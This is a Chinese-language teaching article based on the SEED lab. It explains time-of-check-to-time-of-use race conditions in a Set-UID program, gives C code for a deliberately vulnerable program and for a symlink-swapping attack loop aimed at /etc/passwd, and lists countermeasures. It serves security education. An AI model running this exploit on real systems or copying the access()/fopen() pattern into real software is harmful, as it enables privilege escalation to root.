先决条件–竞争条件漏洞
当执行中的两个并发线程以某种方式无意地根据线程或进程的时间产生共享结果的方式访问共享资源时,这会引起竞态条件。
简单来说:
如果我们的特权程序(具有高级访问控制的应用程序)某种程度上也具有带有竞争条件漏洞的代码块,则攻击者可以通过运行可以“竞争”我们特权程序的并行进程来利用此漏洞。如果他们意图改变其实际预期行为而发动进攻,那么这可能会导致我们程序中的竞赛条件(RC)。
例子 :
/* A Vulnerable Program */
int main() {
char * fn = "/tmp/XYZ";
char buffer[60];
FILE *fp;
/* get user input */
scanf("%50s", buffer );
if(!access(fn, W_OK)){
fp = fopen(fn, "a+");
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else printf("No permission \n");
}
用户程序分析:
1.上面给出的程序是root拥有的,并且它是Set-UID程序,即它是特权程序。
2.该程序的函数是将用户输入的字符串附加到我们创建的文件/ tmp / XYZ的末尾。
3.给定的代码以root特权运行,因此这使其有效用户ID( euid )等于0。它对应于root,因此可以覆盖任何文件。
4.使用access()系统调用,该程序可以防止自身意外覆盖其他人的文件。首先使用access()调用检查真实用户ID [uid]是否对文件/ tmp / XYZ具有适当的访问权限。
5.如果检查结果是正确的,并且真实的用户ID实际上具有特权,则该程序将打开文件,并将用户的输入附加到文件中。
6.在fopen()的系统调用中还有一个附加检查,但是它仅检查euid(有效用户ID)而不是uid(真实用户ID) ,并且作为特权程序,它总是会满足,因为该程序作为Set-UID程序(特权程序)运行,且euid为0(root用户)。
7.现在可能出现的实际错误点可能是由于要写入文件的校验“ access() ”和使用“ fopen() ”之间的时间窗所致。 access()系统使用的文件很有可能 调用不同于fopen()系统调用使用的文件。
8.只有在恶意攻击者可以使/ tmp / XYZ成为“符号链接”以指向受保护文件的情况下,这是可能的,否则该文件在此时间段之内无法访问,如/ etc / shadow (其中包含我们的密码)。检查使用时间窗口(TOCTOU窗口)。
unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");
9.如果成功,则攻击者可以将用户输入附加到/ etc / shadow的末尾,而不是符号链接的原始目标,如仅通过将单个语句附加到影子文件来创建具有所有特权的新root用户。
10.因此,此窗口可能导致竞态条件漏洞。
因此,存在在两个系统调用(即access()和open())之间进行上下文切换的可能性,还存在竞争条件漏洞的可能性。
攻击程序代码:
#include
int main(){
while(1){
unlink("/tmp/XYZ");
symlink("/home/seed/myfile", "/tmp/XYZ");
usleep(10000);
unlink("/tmp/XYZ");
symlink("/etc/passwd", "/tmp/XYZ");
usleep(10000);
}
return 0;
}
该程序旨在通过使用usleep(10000)来展示RC,因此有意创建了TOCTOU窗口。
- 在这里,我们正在创建一个指向我们普通用户拥有的文件(myfle)的符号链接,以便通过access()检查。
- 然后生成一个窗口,使其休眠10000微秒,以使我们易受攻击的进程运行。
- 然后,它取消链接符号链接并创建到/ etc / passwd的符号链接。
应对措施:
1.适用最小特权原则:
根据该原则,我们尝试为Set-UID程序的所有部分降级文件的特权。特别是不需要提升特权的情况。为此,我们使用geteuid和seteuid系统调用进行降级,然后在易受攻击的程序中的适当位置重新升级特权。
2. Ubuntu的内置保护方法:
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=1
3.重复检查系统调用:
竞争条件比确定性更具概率性(我们无法确定何时能够访问该文件,它可能在TOCTOU检查窗口内的任何实例中发生)。通过对access()和open()系统调用进行重复检查,我们可以匹配文件的inode值。尽管此值在每次检查中都相同,但是我们可以说文件已打开,如果文件名不同,则意味着文件已更改,因此我们不会打开它。
4.原子操作:
f = open(file, O_CREAT | O_EXCL)
如果文件已经存在,则上述的这两个说明符将不会打开指定的文件。因此,实现了检查的原子性和文件的使用。
参考和源代码:雪城大学SEED实验室。